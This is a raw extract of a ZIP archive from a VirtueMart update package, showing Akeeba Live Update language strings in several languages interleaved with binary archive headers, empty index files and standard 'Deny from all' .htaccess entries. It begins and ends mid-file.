ΕΝΗΜΕΡΩΣΗ! ΚΑΝΤΕ ΚΛΙΚ ΓΙΑ ΑΝΑΒΑΘΜΙΣΗ."PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/el-GR/index.htmlnuW+APKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/el-GR/.htaccessnuW+A Order allow,deny Deny from all PKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/fr-FR/.htaccessnuW+A Order allow,deny Deny from all PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/fr-FR/index.htmlnuW+APKsl>\?""lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/fr-FR/fr-FR.liveupdate.ininuW+A; Package Akeeba Backup ; Version fr-FR.liveupdate.ini 2011-07-23 by Sarki ; Copyright (c)2006-2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU GPLv3 or later ; Note : All ini files need to be saved as UTF-8 LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update n'est pas pris en charge sur ce serveur" LIVEUPDATE_NOTSUPPORTED_INFO="Votre serveur indique que Live Update n'est pas supporté. Veuillez contactez votre hébergeur et leur demander d'activer l'extension PHP cURL ou activer la fonction fopen URL () . Si ceux-ci sont déjà activés, veuillez leur demander de configurer leur pare-feu afin qu'il autorise l'accès à l'URL suivante:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Vous pouvez toujours mettre à jour %s en visitant notre site manuellement, télécharger la dernière version et l'installer en utilisant l'extension d'installation de Joomla!" LIVEUPDATE_STUCK_HEAD="Live Update a échoué !" LIVEUPDATE_STUCK_INFO="Live Update a échoué la dernière fois qu'il a essayé de contacter le serveur de mise à jour. Cela signifie généralement que votre hébergeur bloque activement les communications avec des sites externes. Si vous souhaitez réessayer de récupérer les informations de mise à jour, cliquez sur le bouton " Rafraichir les informations de mise à jour ". S'il en résulte une page blanche, veuillez contactez votre hébergeur et lui signaler ce problème." LIVEUPDATE_ERROR_NEEDSAUTH="Pour activer le bouton de mise à jour, vous devez fournir votre nom d'utilisateur/mot de passe ( ou votre ID de Téléchargement ) dans les paramètres du composant pour pouvoir mettre à jour vers la dernière version." LIVEUPDATE_HASUPDATES_HEAD="Une nouvelle version est disponible" LIVEUPDATE_NOUPDATES_HEAD="Vous avez la dernière version" LIVEUPDATE_CURRENTVERSION="Version installée" LIVEUPDATE_LATESTVERSION="Dernière version" LIVEUPDATE_LATESTRELEASED="Date de la dernière version " LIVEUPDATE_DOWNLOADURL="URL de téléchargement directe" LIVEUPDATE_REFRESH_INFO="Rafraichir les informations de mise à jour" LIVEUPDATE_DO_UPDATE="Mettre à jour vers la dernière version" LIVEUPDATE_FTP_REQUIRED="Live Update a besoin d'utiliser la couche FTP pour télécharger et installer la mise à jour, mais vous n'avez pas sauvegardé vos informations de connexion FTP dans la Configuration globale de Joomla!

Veuillez fournir ci-dessous votre nom d'utilisateur et votre mot de passe FTP afin de procéder à la mise à jour." LIVEUPDATE_FTP="Informations FTP" LIVEUPDATE_FTPUSERNAME="Nom d'utilisateur FTP" LIVEUPDATE_FTPPASSWORD="Mot de passe FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Télécharger et installez la mise à jour" LIVEUPDATE_DOWNLOAD_FAILED="Le téléchargement du package de mise à jour a échoué. Assurez-vous que votre répertoire temporaire (tmp) est accessible en écriture et que vous avez activé les options FTP dans la configuration globale de Joomla!." LIVEUPDATE_EXTRACT_FAILED="L'extraction du package de mise à jour a échoué. Veuillez mettre à jour l'extension manuellement." LIVEUPDATE_INVALID_PACKAGE_TYPE="Le type du package n'est pas valide. La mise à jour ne peut pas continuer." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Erreur" LIVEUPDATE_SUCCESS="Réussite" LIVEUPDATE_ICON_UNSUPPORTED="Live Update n'est pas pris en charge" LIVEUPDATE_ICON_CRASHED="Live Update a échoué!" LIVEUPDATE_ICON_CURRENT="Vous avez la dernière version" LIVEUPDATE_ICON_UPDATES="MISE À JOUR ! Cliquez pour l'appliquer..."PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/uk-UA/index.htmlnuW+APKsl>\COlcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/uk-UA/uk-UA.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update не підтримується на цьому сервері" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сигналізує, що Live Update не підтримується. Будь ласка, зв’яжіться з вашим постачальником послуг хостингу і попросіть його ввімкнути розширення PHP cURL або активувати пакувальники URL fopen(). Якщо вони вже ввімкнені, будь ласка, попросіть його сконфігурувати мережеві екрани так, щоб вони дозволяли доступ до цих URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Ви можете завжди оновити %s відвідавши наш сайт персонально, завантажити останній випуск та встановити його, використовуючи інсталятор розширень Joomla!." LIVEUPDATE_STUCK_HEAD="Live Update позначив себе таким, що зазнав краху" LIVEUPDATE_STUCK_INFO="Live Update визначив, що він зазнав краху останнього разу, коли намагався зв’язатися з сервером оновлень. Це зазвичай означає, що хост активно блокує комунікацію з зовнішніми сайтами. Якщо ви ви захочете спробувати знову отримати інформацію про оновлення, будь ласка, натисніть на кнопку "Оновити інформацію " нижче. Якщо це видасть пусту сторінку, будь ласка, зв’яжіться з постачальником послуг хостингу і опишіть цю проблему." LIVEUPDATE_ERROR_NEEDSAUTH="Ви повинні надати ваше ім’я користувача/пароль або ID завантаження в параметрах компоненту перед тим, як намагатися оновитися до останнього випуску. Кнопка оновлення буде залишатися неактивною, доки ви цього не зробите." LIVEUPDATE_HASUPDATES_HEAD="Доступна нова версія" LIVEUPDATE_NOUPDATES_HEAD="У вас уже встановлена остання версія" LIVEUPDATE_CURRENTVERSION="Встановлена версія" LIVEUPDATE_LATESTVERSION="Остання версія" LIVEUPDATE_LATESTRELEASED="Дата останнього випуску" LIVEUPDATE_DOWNLOADURL="URL для безпосереднього завантаження" LIVEUPDATE_REFRESH_INFO="Оновити інформацію" LIVEUPDATE_DO_UPDATE="Оновити до останньої версії" LIVEUPDATE_FTP_REQUIRED="Live Update визначив, що йому потрібно використовувати FTP для завантаження та встановлення вашого оновлення, але ви не зберегли інформацію вашого логіну FTP на сторінці Загальної Конфігурації Joomla! .

Будь ласка, надайте ім’я користувача і пароль FTP нижче, щоб продовжити процес оновлення." LIVEUPDATE_FTP="Інформація FTP" LIVEUPDATE_FTPUSERNAME="Ім’я користувача FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Завантажити і встановити оновлення" LIVEUPDATE_DOWNLOAD_FAILED="Завантаження пакету оновлень не вдалося. Переконайтесь, що ваш тимчасовий каталог доступний для запису або що ви ввімкнули налаштування FTP в Загальній Конфігурації Joomla!." LIVEUPDATE_EXTRACT_FAILED="Видобування пакету оновлень не вдалося. Будь ласка, спробуйте оновити розширення вручну." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неправильний тип пакету. Оновлення не може бути продовжено." LIVEUPDATE_INSTALLEXT="Встановлення %s %s" LIVEUPDATE_ERROR="Помилка" LIVEUPDATE_SUCCESS="Успішно" LIVEUPDATE_ICON_UNSUPPORTED="Live Update не підтримується" LIVEUPDATE_ICON_CRASHED="Live Update зазнало краху" LIVEUPDATE_ICON_CURRENT="У вас остання версія" LIVEUPDATE_ICON_UPDATES="ЗНАЙДЕНО ОНОВЛЕННЯ! НАТИСНІТЬ ДЛЯ ЗАПУСКУ ОНОВЛЕННЯ."PKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/uk-UA/.htaccessnuW+A Order allow,deny Deny from all PKsl>\7OOlcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/en-GB/en-GB.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_CONSIDER_COMPATIBILITY="Before you update your live system, please test the update on a backup system in order to prevent loss of data. Expect small incompatibilities, if you are using 3rd party extensions or your own customizations (plugins, modules, templates)." LIVEUPDATE_CURRENTVERSION="Installed version" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update" LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration." LIVEUPDATE_DO_UPDATE="Update to the latest version" LIVEUPDATE_ERROR="Error" LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually." LIVEUPDATE_FTP="FTP Information" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_HASUPDATES_HEAD="A new version is available" LIVEUPDATE_ICON_CRASHED="Live Update crashed" LIVEUPDATE_ICON_CURRENT="You have the latest version" LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported" LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE." LIVEUPDATE_INSTALLEXT="Install %s %s" LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed." LIVEUPDATE_LATESTRELEASED="Latest release date" LIVEUPDATE_LATESTVERSION="Latest version" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update %s by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer." LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version" LIVEUPDATE_REFRESH_INFO="Refresh update information" LIVEUPDATE_REMEMBER_TO_UPDATE_AIO="Remember to update also your plugins and modules, for which you may use the live updater in the VirtueMart-AIO installer." LIVEUPDATE_STABILITY_ALPHA="Alpha" LIVEUPDATE_STABILITY_BETA="Beta" LIVEUPDATE_STABILITY_RC="RC" LIVEUPDATE_STABILITY_STABLE="Stable" LIVEUPDATE_STABILITY_SVN="SVN" LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_SUCCESS="Success" LIVEUPDATE_TASK_OVERVIEW="Live Update"PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/en-GB/index.htmlnuW+APKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PKsl>\)[com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/.htaccessnuW+A Order allow,deny Deny from all PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/ru-RU/index.htmlnuW+APKsl>\bLDlcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/ru-RU/ru-RU.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Автоматическое обновление" LIVEUPDATE_NOTSUPPORTED_HEAD="Автоматическое обновление не поддерживается на этом сервере" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сообщает, что автоматическое обновление не поддерживается. Пожалуйста, обратитесь к вашему хостеру и попросите его разрешить CURL расширение для PHP или активировать функцию URL FOPEN (). Если они уже включены, пожалуйста, попросите его настроить их брандмауэр так, что он позволял получить доступ к следующему адресу:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Вы всегда сможете обновить %s посетив наш сайт, вручную, загрузив последнюю версию и установив ее с помощью Joomla!." LIVEUPDATE_STUCK_HEAD="Автоматическое обновление обнаружило ошибку" LIVEUPDATE_STUCK_INFO="Автоматическое обновление обнаружило, что произошла ошибка при последнем сеансе связи с сервером обновлений. Обычно это означает, что хост блокирует связи с внешними сайтами. Если вы хотели бы снова получить информацию об обновлении, пожалуйста, нажмите кнопку "Обновить информацию об обновлении" , расположенную ниже. Если это приводит к появлению пустой страницы, пожалуйста, свяжитесь с вашим хостером и сообщите об этой проблеме." LIVEUPDATE_ERROR_NEEDSAUTH="Вы должны ввести ваше имя пользлвателя/пароль или ID загрузки в параметры компонента перед попыткой обновления до последней версии. Кнопка обновления будет оставаться неактивной, пока вы этого не сделаете." LIVEUPDATE_HASUPDATES_HEAD="Доступна новая версия" LIVEUPDATE_NOUPDATES_HEAD="У вас уже установлена последняя версия" LIVEUPDATE_CURRENTVERSION="Установленная версия" LIVEUPDATE_LATESTVERSION="Последняя версия" LIVEUPDATE_LATESTRELEASED="Дата выхода последней версии" LIVEUPDATE_DOWNLOADURL="Ссылка для прямой загрузки" LIVEUPDATE_REFRESH_INFO="Обновить информацию об обновлении" LIVEUPDATE_DO_UPDATE="Обновить до последней версии" LIVEUPDATE_FTP_REQUIRED="Автоматическое обновление определило, что необходимо использовать FTP для загрузки и установки обновления, но вы не сохранили данные для авторизации на FTP в Общих настройках Joomla!.

Просьба ввести имя пользователя и пароль FTP для продолжения обновления." LIVEUPDATE_FTP="Информация FTP" LIVEUPDATE_FTPUSERNAME="Имя пользователя FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Загрузить и установить обновление" LIVEUPDATE_DOWNLOAD_FAILED="Загрузка пакета обновления не удалась. Убедитесь, что временный каталог доступен для записи или что вы включили FTP в Общих настройках Joomla!." LIVEUPDATE_EXTRACT_FAILED="Извлечение пакета обновления не удалось. Пожалуйста, попробуйте обновить компонент вручную." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неверный тип пакета. Обновление не может продолжаться." LIVEUPDATE_INSTALLEXT="Установлено %s %s" LIVEUPDATE_ERROR="Ошибка" LIVEUPDATE_SUCCESS="Успешно" LIVEUPDATE_ICON_UNSUPPORTED="Автоматическое обновление не поддерживается" LIVEUPDATE_ICON_CRASHED="Автоматическое обновление не прошло" LIVEUPDATE_ICON_CURRENT="У вас последняя версия" LIVEUPDATE_ICON_UPDATES="НАЙДЕНО ОБНОВЛЕНИЕ! НАЖМИТЕ ДЛЯ ОБНОВЛЕНИЯ."PKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/ru-RU/.htaccessnuW+A Order allow,deny Deny from all PKsl>\mfL L lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/no-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live oppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live oppdatering støttes ikke på denne serveren" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live oppdatering ikke støttes. Vennligst kontakt din leverandør og be dem aktivere cURL PHP eller aktivere URL fopen() wrappers. Dersom disse allerede er aktivert, kan du be dem om å konfigurere sin brannmur slik at den gir tilgang til følgende URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere manuelt%s ved å besøke vår side, laste ned den nyeste versjonen, og installere det ved hjelp av Joomla installasjonsprogrammet." LIVEUPDATE_STUCK_HEAD="Live oppdatering har markert seg selv som krasjet" LIVEUPDATE_STUCK_INFO="Live oppdatering krasjet forrige gang den prøvde å kontakte oppdateringsserveren. Dette betyr vanligvis en leverandør som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å prøve å hente oppdateringsinformasjonen, klikk på knappen "Oppdater oppdateringsinformasjonen" under. Hvis dette resulterer i en blank side, kontakte din leverandør og rapportere dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi brukernavn/passord eller nedlastnings ID til komponentens parametre før du forsøker å oppgradere til siste versjon. Oppgraderingsknappen vil forbli deaktivert til du gjøre det." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater oppdateringsinformasjonen" LIVEUPDATE_DO_UPDATE="Oppdatering til siste versjon" LIVEUPDATE_FTP_REQUIRED="Live oppdatering har behov for å bruke FTP for å laste ned og installere oppdateringen, men du har ikke lagret FTP påloggingsinformasjonen i Joomla! Global konfigurasjon .

Vennligst oppgi FTP brukernavn og passord nedenfor for å fortsette med oppdateringen." LIVEUPDATE_FTP="Informasjon" LIVEUPDATE_FTPUSERNAME="FTP brukernavn" LIVEUPDATE_FTPPASSWORD="FTP Passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringen mislyktes. Pass på at temp-mappen er skrivbar, eller at du har aktivert Joomla! 's FTP alternativer i Global konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Prøv å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakke type. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Live oppdatering støttes ikke" LIVEUPDATE_ICON_CRASHED="Live oppdatering krasjet" LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen" LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/no-NO/.htaccessnuW+A Order allow,deny Deny from all PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/no-NO/index.htmlnuW+APKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/nl-NL/index.htmlnuW+APKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/nl-NL/.htaccessnuW+A Order allow,deny Deny from all PKsl>\,-R R lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/nl-NL/nl-NL.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Dutch Translation version 3.2.3 by [Robert J. Klop] info@zocors-web.nl LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update wordt op deze server niet ondersteund" LIVEUPDATE_NOTSUPPORTED_INFO="De server geeft aan dat Live Update niet wordt ondersteund. Neem contact op met de hoster en vraag de cURL PHP extensie of om de URL fopen() wrappers te activeren. Vraag, als ze al geactiveerd zijn, de firewall zo in te stellen dat er toegang tot de volgende URL is:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="U kunt %s altijd updaten door onze site te bezoeken, de laatste versie te downloaden en doormiddel van Joomla!'s extensiebeheer te installeren." LIVEUPDATE_STUCK_HEAD="Live Update is gecrasht" LIVEUPDATE_STUCK_INFO="Live Update stelt vast dat het, de laatste keer dat het de update-server trachtte te bereiken, gecrasht is. Dit betekent meestal dat de host actief de communicatie met externe sites blokkeert. Klik, als u de update informatie opnieuw wilt ophalen, op de "Ververs update informatie" knop hieronder. Als dat leidt tot een blanco pagina, neem dan contact op met uw hoster en meld dit." LIVEUPDATE_ERROR_NEEDSAUTH="U moet uw gebruikersnaam / wachtwoord of download ID opgegeven in de parameters van de component om naar de laatste release te upgraden. De upgrade knop zal geblokkeerd blijven tot dit gedaan is." LIVEUPDATE_HASUPDATES_HEAD="Er is een nieuwe versie beschikbaar" LIVEUPDATE_NOUPDATES_HEAD="U heeft de laatste versie al" LIVEUPDATE_CURRENTVERSION="Geïnstalleerde versie" LIVEUPDATE_LATESTVERSION="Nieuwste versie" LIVEUPDATE_LATESTRELEASED="Datum laatste release" LIVEUPDATE_DOWNLOADURL="URL voor directe download" LIVEUPDATE_REFRESH_INFO="Ververs update-informatie" LIVEUPDATE_DO_UPDATE="Update naar de laatste versie" LIVEUPDATE_FTP_REQUIRED="Live Update stelt vast dat het FTP moet gebruiken om de updates te downloaden en installeren, maar uw FTP logingegevens zijn bij de Joomla algemene instellingen niet opgeslagen.

Vul a.u.b. hieronder de FTP gebruikersnaam en het wachtwoord in om verder te gaan met updaten." LIVEUPDATE_FTP="FTP informatie" LIVEUPDATE_FTPUSERNAME="FTP gebruikersnaam" LIVEUPDATE_FTPPASSWORD="FTP wachtwoord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download en installeer de update" LIVEUPDATE_DOWNLOAD_FAILED="Het downloaden van het updatepakket is mislukt. Zorg dat de temp map beschrijfbaar is of dat de FTP opties bij de algemene instellingen goed ingevuld zijn." LIVEUPDATE_EXTRACT_FAILED="Uitpakken van het pakket mislukt. Probeer de extensie handmatig bij te werken." LIVEUPDATE_INVALID_PACKAGE_TYPE="Verkeerd pakkettype. Updaten kan niet verder gaan." LIVEUPDATE_INSTALLEXT="Installeer %s %s" LIVEUPDATE_ERROR="Fout" LIVEUPDATE_SUCCESS="Succesvol" LIVEUPDATE_ICON_UNSUPPORTED="Live Update niet ondersteund" LIVEUPDATE_ICON_CRASHED="Live Update gecrasht" LIVEUPDATE_ICON_CURRENT="U heeft de laatste versie" LIVEUPDATE_ICON_UPDATES="UPDATE GEVONDEN! KLIK OM TE UPDATEN."PKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/it-IT/.htaccessnuW+A Order allow,deny Deny from all PKsl>\VtvOOlcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/it-IT/it-IT.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translation: Roberto Restelli (roberto@msoutlook.it) LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="La funzionalità di Live Update non è supportata su questo server" LIVEUPDATE_NOTSUPPORTED_INFO="Il vostro server indica che la funzionalità di Live Update non è supportata. Contattare il fornitore e chiedere di abilitare l'estensione PHP cURL oppure attivare le funzionalità di URL fopen(). Se queste opzioni sono già attive, far verificare la configurazione del firewall per permettere l'accesso al seguente URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="E' sempre possibile aggiornare %s visitando il nostro sito, scaricando l'ultima versione disponibile ed installandola in Joomla usando i normali comando di installazione delle estensioni." LIVEUPDATE_STUCK_HEAD="Live Update ha rilevato un precedente crash" LIVEUPDATE_STUCK_INFO="Live Update ha determinato che nell'ultimo tentativo di contattare il server di aggiornamento l'operazioni e è fallita con un crash. Generalmente questo indica la presenza di un servizio che blocca la comunicazioen con siti esterni. Se volete riprovare a recuperare le informazioni di aggiornamento utilizzate il pulsante "Verifica disponibilità aggiornamenti" più sotto. Se il risultato è una pagina vuota, contattare il proprio fornitore per segnalare il problema." LIVEUPDATE_ERROR_NEEDSAUTH="E' necessario inserire Username e password oppure il proprio Download ID tra i paraemtri di configurazione del componente prima di tentare l'aggiornamento all'ultima versione. Il pulsante di aggiornamento sarà attivato solamente dopo l'isnerimento di tali informazioni." LIVEUPDATE_HASUPDATES_HEAD="E' disponibile una nuova versione" LIVEUPDATE_NOUPDATES_HEAD="Non sono disponibili ulteriori aggiornamenti" LIVEUPDATE_CURRENTVERSION="Versione installata" LIVEUPDATE_LATESTVERSION="Ultima versione" LIVEUPDATE_LATESTRELEASED="Data rilascio ultima versione" LIVEUPDATE_DOWNLOADURL="URL di scaricamento diretto" LIVEUPDATE_REFRESH_INFO="Verifica disponibilità aggiornamenti" LIVEUPDATE_DO_UPDATE="Aggiorna all'ultima versione" LIVEUPDATE_FTP_REQUIRED="Live Update ha determinato che è necessario l'utilizzo di FTP per scaricamente ed installare l'aggiornamento, tuttavia non sono state impostate le corrette informazioni di configurazione in Joomla. Inserire wui sotto Username e password per il servizio FTP per proseguire con l'aggiornamento." LIVEUPDATE_FTP="Informazioni FTP" LIVEUPDATE_FTPUSERNAME="Username FTP" LIVEUPDATE_FTPPASSWORD="Password FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Scarica ed installa aggiornamento" LIVEUPDATE_DOWNLOAD_FAILED="Lo scaricamento dell'aggiornamento è fallito. Verificare che la cartella temporanea sia scrivibile e che siano abilitate le opzioni FTP di Joomla all'interno della sezione di Configurazione Globale del sito." LIVEUPDATE_EXTRACT_FAILED="L'estrazione del pacchetto di aggiornamento è fallita. Sarà necessario effettuare l'aggiornamento tramite procedura manuale." LIVEUPDATE_INVALID_PACKAGE_TYPE="Formato del pacchetto di aggiornamento non riconosciuto. L'aggiornamento non può essere effettuato." LIVEUPDATE_INSTALLEXT="Installazione %s %s" LIVEUPDATE_ERROR="Errore" LIVEUPDATE_SUCCESS="Completato" LIVEUPDATE_ICON_UNSUPPORTED="Live Update non supportato" LIVEUPDATE_ICON_CRASHED="Live Update non funzionante correttamente" LIVEUPDATE_ICON_CURRENT="Non sono disponibili ulteriori aggiornamenti" LIVEUPDATE_ICON_UPDATES="INSTALLA NUOVO AGGIORNAMENTO!"PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/it-IT/index.htmlnuW+APKsl>\\com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/index.htmlnuW+APKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/sv-SE/.htaccessnuW+A Order allow,deny Deny from all PKsl>\ t lcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/language/sv-SE/sv-SE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update stöds inte på denna server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server verkar inte stöda att Live Update körs. Kontakta din webbhotelleverantör och be dem aktivera cURL i PHP alternativt aktivera URL fopen() wrappers. Om dessa redan är aktiverade skall du be dem att konfigurera brandväggen så den tillåter tillträde från följande URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid uppdatera %s genom att gå till vår webbplats manuellt, ladda ned den senaste versionen och installera den med Joomla!:s egen installerare." LIVEUPDATE_STUCK_HEAD="Live Update har markerat sig själv som kraschad" LIVEUPDATE_STUCK_INFO="Live Update har upptäckt att den kraschade förra gången den försökte kontakta uppdateringsservern. Vanligen beror detta på att webbhotellet har blockerat kommunikation med externa webbplatser. Om du ändå vill försöka hämta uppdateringsinformation, klicka på knappen "Hämta uppdateringsinformation" nedan. Om detta resulterar i en vit sida, skall du kontakta ditt webbhotell och rapportera felet." LIVEUPDATE_ERROR_NEEDSAUTH="Du måste ange ditt användarnamn/lösenord eller Nedladdnings-ID i komponentens inställningar innan du kan uppgradera till senaste versionen. Uppgraderingsknappen kommer att vara inaktiv till dess du gjort detta." LIVEUPDATE_HASUPDATES_HEAD="Det finns en ny version" LIVEUPDATE_NOUPDATES_HEAD="Du har redan senaste versionen" LIVEUPDATE_CURRENTVERSION="Installerad version" LIVEUPDATE_LATESTVERSION="Senaste version" LIVEUPDATE_LATESTRELEASED="Senaste versionsdatum" LIVEUPDATE_DOWNLOADURL="Direkt nedladdnings-URL" LIVEUPDATE_REFRESH_INFO="Hämta uppdateringsinformation" LIVEUPDATE_DO_UPDATE="Uppdatera till senaste version" LIVEUPDATE_FTP_REQUIRED="Live Update indikerar att den måste använda FTP för att kunna ladda ned och installera din uppdatering. Du måste först ange och spara dina uppgifter för FTP i Joomla!:s Globala Inställningar.

